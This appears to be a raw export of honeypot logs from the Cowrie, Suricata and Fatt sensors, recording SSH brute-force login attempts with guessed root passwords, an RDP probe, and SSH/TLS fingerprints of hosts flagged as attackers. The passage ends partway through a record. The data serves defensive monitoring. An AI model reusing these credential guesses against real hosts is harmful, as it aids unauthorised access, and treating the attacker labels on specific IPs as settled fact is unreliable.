36314	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:47.391851+03	2021-09-20 15:15:04.419689+03	{"_id": "0wYgA3wBvYTbRNuEamEH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36244, "dest_port": 443, "timestamp": "2021-09-20T12:13:47.391851", "@timestamp": "2021-09-20T12:13:47.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36315	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:13:48.491612+03	2021-09-20 15:15:04.421689+03	{"_id": "1AYgA3wBvYTbRNuEa2GW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/9ijn8uhb7ygv] failed", "session": "441fd9c8d8e4", "@version": "1", "password": "9ijn8uhb7ygv", "username": "root", "timestamp": "2021-09-20T12:13:48.491612Z", "@timestamp": "2021-09-20T12:13:48.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36316	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:13:50.022793+03	2021-09-20 15:15:04.422689+03	{"_id": "3gYgA3wBvYTbRNuEdGGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:49.660373+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 260975013729173, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 58911, "timestamp": "2021-09-20T12:13:50.022793Z", "@timestamp": "2021-09-20T12:13:50.022Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36317	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:13:50.352343+03	2021-09-20 15:15:04.42369+03	{"_id": "4QYgA3wBvYTbRNuEdGGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:13:49.660373+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 260975013729173, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58911, "dest_port": 3389, "timestamp": "2021-09-20T12:13:50.352343Z", "@timestamp": "2021-09-20T12:13:50.352Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36318	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:13:51.029231+03	2021-09-20 15:15:04.424689+03	{"_id": "4wYgA3wBvYTbRNuEd2FP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/a123321] failed", "session": "441fd9c8d8e4", "@version": "1", "password": "a123321", "username": "root", "timestamp": "2021-09-20T12:13:51.029231Z", "@timestamp": "2021-09-20T12:13:51.029Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36319	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:57.276573+03	2021-09-20 15:15:04.42569+03	{"_id": "CwYgA3wBvYTbRNuEjmLE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "71ced93a445f", "@version": "1", "timestamp": "2021-09-20T12:13:57.276573Z", "@timestamp": "2021-09-20T12:13:57.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36320	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:13:57.27583+03	2021-09-20 15:15:04.427689+03	{"_id": "DAYgA3wBvYTbRNuEj2Lc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 1126565543150542, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2325, "dest_port": 22, "timestamp": "2021-09-20T12:13:57.275830Z", "@timestamp": "2021-09-20T12:13:57.275Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
36321	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:13:57.275933+03	2021-09-20 15:15:04.428692+03	{"_id": "DQYgA3wBvYTbRNuEkGLT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2325, "dest_port": 22, "timestamp": "2021-09-20T12:13:57.275933", "@timestamp": "2021-09-20T12:13:57.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36322	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:58.475464+03	2021-09-20 15:15:04.429689+03	{"_id": "DgYgA3wBvYTbRNuEkmKt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [rsl/rsl] failed", "session": "71ced93a445f", "@version": "1", "password": "rsl", "username": "rsl", "timestamp": "2021-09-20T12:13:58.475464Z", "@timestamp": "2021-09-20T12:13:58.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36323	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:13:59.039212+03	2021-09-20 15:15:04.43169+03	{"_id": "DwYgA3wBvYTbRNuElGK9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "96.78.175.36", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60106, "timestamp": "2021-09-20T12:13:59.039212", "@timestamp": "2021-09-20T12:13:59.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36324	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 15:14:01.149516+03	2021-09-20 15:15:04.43269+03	{"_id": "JgYgA3wBvYTbRNuEnmJo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "013ebd7fb3a7", "@version": "1", "timestamp": "2021-09-20T12:14:01.149516Z", "@timestamp": "2021-09-20T12:14:01.149Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	BY
36325	176.60.208.43	109.199.241.180	Suricata	2021-09-20 15:14:01.148939+03	2021-09-20 15:15:04.434689+03	{"_id": "KAYgA3wBvYTbRNuEn2J-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:14:01.048341+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1840324683611349, "payload": "AAADzAYUZpQJMLR06NtKpJlEFbAmygAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36262, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:14:01.148939Z", "@timestamp": "2021-09-20T12:14:01.148Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......f..0.t..J..D..&....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	BY
36326	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:13:57.000211+03	2021-09-20 15:15:04.435691+03	{"_id": "CQYgA3wBvYTbRNuEjmLE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "71ced93a445f", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:13:57.000211Z", "@timestamp": "2021-09-20T12:13:57.000Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36327	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:13:59.217564+03	2021-09-20 15:15:04.436691+03	{"_id": "FwYgA3wBvYTbRNuElmKW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH 